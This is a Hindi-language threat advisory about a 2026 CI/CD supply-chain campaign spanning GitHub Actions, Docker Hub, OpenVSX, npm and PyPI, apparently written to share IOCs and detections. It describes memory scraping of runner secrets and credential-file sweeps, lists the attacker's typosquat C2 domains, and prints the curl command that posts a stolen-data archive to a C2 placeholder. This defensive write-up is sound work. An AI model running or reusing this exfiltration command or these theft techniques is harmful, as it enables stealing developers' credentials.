
CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।
CVE-2026-33634 (CVSS 9.4) — अब तक 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।
19–25 मार्च, 2026 के बीच, खतरा अभिनेता TeamPCP (जिसे DeadCatx3, PCPcat, ShellForce, CanisterWorm के रूप में भी ट्रैक किया जाता है) ने पाँच पारिस्थितिकी तंत्रों में कैस्केडिंग सप्लाई चेन समझौता किया: GitHub Actions, Docker Hub, OpenVSX, npm, और PyPI। एक एकल अधूरे-रोटेटेड GitHub PAT से शुरू होकर, यह अभियान दो प्रमुख ओपन-सोर्स सुरक्षा विक्रेताओं (Aqua Security और Checkmarx), चार GitHub Actions रिपॉजिटरी, दो VS Code एक्सटेंशन, कंटेनर रजिस्ट्री और 66+ npm पैकेजों में फैल गया।
यह रिपॉजिटरी संपूर्ण तकनीकी विवरण, क्यूरेटेड IOC सूचियाँ (FP-परीक्षित), और Microsoft Defender XDR में तैनाती के लिए तैयार डिटेक्शन क्वेरी प्रदान करता है।
| दिनांक (UTC) | घटना |
|---|---|
| 20 फरवरी, 2026 | hackerbot-claw खाता बनाया गया; शोषण योग्य pull_request_target वर्कफ़्लो के लिए रिपॉजिटरी स्कैन करना शुरू |
| 28 फरवरी, 2026 | PWN अनुरोध के माध्यम से पहला Trivy समझौता; क्रेडेंशियल बाहर निकाले गए |
| 1 मार्च, 2026 | Aqua Security ने रोकथाम का प्रयास किया — क्रेडेंशियल रोटेशन अधूरा |
| 19 मार्च, 17:43 | मुख्य हमला: TeamPCP ने समझौता किए गए aqua-bot सेवा खाते के माध्यम से aquasecurity/trivy-action में 75/76 टैग + setup-trivy के सभी 7 टैग फोर्स-पुश किए |
| 19 मार्च, 18:22 | बैकडोर युक्त Trivy v0.69.4 GitHub Releases, Docker Hub, GHCR, ECR पर प्रकाशित |
| 20 मार्च, 05:40 | Trivy-action समझौता विंडो बंद (~12 घंटे) |
| 20 मार्च, 20:45 | CanisterWorm npm में फैलता हुआ पाया गया — 47+ पैकेज समझौता |
| 22 मार्च, 20:31 | TeamPCP ने स्क्रिप्टेड 2-मिनट के विस्फोट में aquasec-com GitHub org के सभी 44 रिपॉजिटरी को विकृत किया |
| 22 मार्च | समान स्टीलर पेलोड के साथ Docker Hub इमेज 0.69.5 और 0.69.6 पुश की गईं |
| 23 मार्च, 02:53 | Checkmarx लहर शुरू: ast-phoenix खाते के माध्यम से दुर्भावनापूर्ण ast-results v2.53.0 और cx-dev-assist v1.7.0 OpenVSX पर प्रकाशित |
| 23 मार्च, 12:58 | समझौता किए गए cx-plugins-releases खाते के माध्यम से Checkmarx/kics-github-action के सभी 35 टैग फोर्स-पुश |
| 23 मार्च, 15:41 | Checkmarx ने OpenVSX समस्या हल होने की रिपोर्ट दी |
| 23 मार्च, 16:50 | उपयोगकर्ता रिपोर्ट के बाद KICS GitHub Action को हटाया गया |
| 23 मार्च, 22:25 | Sysdig ने रिपोर्ट किया कि Checkmarx/ast-github-action v2.3.28 भी समझौता किया गया |
| 24 मार्च, 08:30 | LiteLLM लहर: चुराए गए क्रेडेंशियल का उपयोग करके ट्रोजन युक्त litellm v1.82.7 और v1.82.8 PyPI पर प्रकाशित |
| 24 मार्च, 11:25 | PyPI ने दुर्भावनापूर्ण LiteLLM संस्करणों को क्वारंटीन किया |
मूल कारण: 28 फरवरी के उल्लंघन के बाद अधूरा क्रेडेंशियल रोटेशन। aqua-bot सेवा खाते का PAT या तो रद्द नहीं किया गया था या हमलावर ने रोटेशन के दौरान नया टोकन देख लिया था।
TeamPCP ने इस बनाए रखी गई पहुँच का उपयोग संस्करण टैग को दुर्भावनापूर्ण नकली कमिट में फोर्स-पुश करने के लिए किया। प्रत्येक जाली कमिट ने मूल के मेटाडेटा (लेखक, टाइमस्टैम्प, संदेश) की नकल की, जबकि एंट्री पॉइंट स्क्रिप्ट को स्टीलर पेलोड से बदल दिया। GitHub के रिलीज़ पेज में कोई दृश्य परिवर्तन नहीं दिखा — यहाँ तक कि "Immutable" बैज भी सामान्य रूप से प्रदर्शित हुआ।
स्टीलर — एक 204-पंक्ति entrypoint.sh जो स्वयं को "TeamPCP Cloud stealer" के रूप में पहचानता है — तीन-चरणीय हमला चलाता है:
चरण 1: मेमोरी स्क्रैपिंग
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
चरण 2: फाइलसिस्टम क्रेडेंशियल स्वीप
50+ संवेदनशील पथों को स्कैन करता है, जिनमें शामिल हैं:
~/.ssh/*)~/.npmrc).env फ़ाइलेंचरण 3: एन्क्रिप्टेड बहिर्निकासी
tpcp.tar.gz में बंडल करता हैcurl POST के माध्यम से बहिर्निकासी करता हैGITHUB_TOKEN का उपयोग करके पीड़ित के GitHub खाते में tpcp-docs या docs-tpcp रिपॉजिटरी बनाता हैगैर-CI Linux सिस्टम पर, मैलवेयर:
~/.config/sysmon/ बनाता हैsysmon.py) छोड़ता हैTrivy लहर से चुराए गए क्रेडेंशियल ने Checkmarx के पारिस्थितिकी तंत्र के समझौते को सक्षम किया। प्रत्येक नई लहर ने पिछली लहर के ब्लॉकलिस्ट से बचने के लिए एक अलग टाइपोस्क्वाट C2 डोमेन का उपयोग किया:
| लहर | C2 डोमेन | टाइपोस्क्वाट ऑफ़ |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| रिपॉजिटरी | समझौता किए गए टैग | एक्सपोज़र विंडो (UTC) | एंट्री पॉइंट |
|---|---|---|---|
aquasecurity/trivy-action | 76 में से 75 (सुरक्षित: 0.35.0) | 19 मार्च 17:43 – 20 मार्च 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | सभी 7 टैग | 19 मार्च 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | सभी 35 टैग | 23 मार्च 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (संभवतः सभी) | 23 मार्च ~22:25+ | setup.sh |
| एक्सटेंशन | दुर्भावनापूर्ण संस्करण | सुरक्षित संस्करण |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
दोनों एक्सटेंशन 23 मार्च को 12:53 UTC पर 12 सेकंड के अंतराल पर ast-phoenix खाते के माध्यम से प्रकाशित किए गए। सक्रियण पर, environmentAuthChecker.js क्लाउड प्रदाता क्रेडेंशियल की जाँच करता है, फिर checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz से दूसरे चरण का स्टीलर खींचता है।
| इमेज | दुर्भावनापूर्ण टैग |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| पैकेज | संस्करण | बैकडोर युक्त फ़ाइल |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
K8s पार्श्व गति टूलकिट के साथ ट्रिपल-नेस्टेड base64 पेलोड। checkmarx.zone/raw को पोल करने वाले sysmon.service के माध्यम से स्थायित्व।
सभी लहरों में बहिर्निकासी पैटर्न समान है:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
टाइपोस्क्वाट डोमेन रणनीति जानबूझकर की गई है: CI/CD लॉग की समीक्षा करने वाला एक विश्लेषक curl ट्रैफ़िक को ऐसे डोमेन पर देखता है जो एक्शन के अपने विक्रेता डोमेन जैसा दिखता है। सावधानीपूर्वक तुलना के बिना, त्वरित लॉग समीक्षा में scan.aquasecurtiy.org को aquasecurity.org मान लिया जाता है।
केवल हमलावर ही चुराए गए डेटा को डिक्रिप्ट कर सकता है — AES सत्र कुंजी उनकी सार्वजनिक कुंजी के साथ RSA-OAEP एन्क्रिप्टेड है।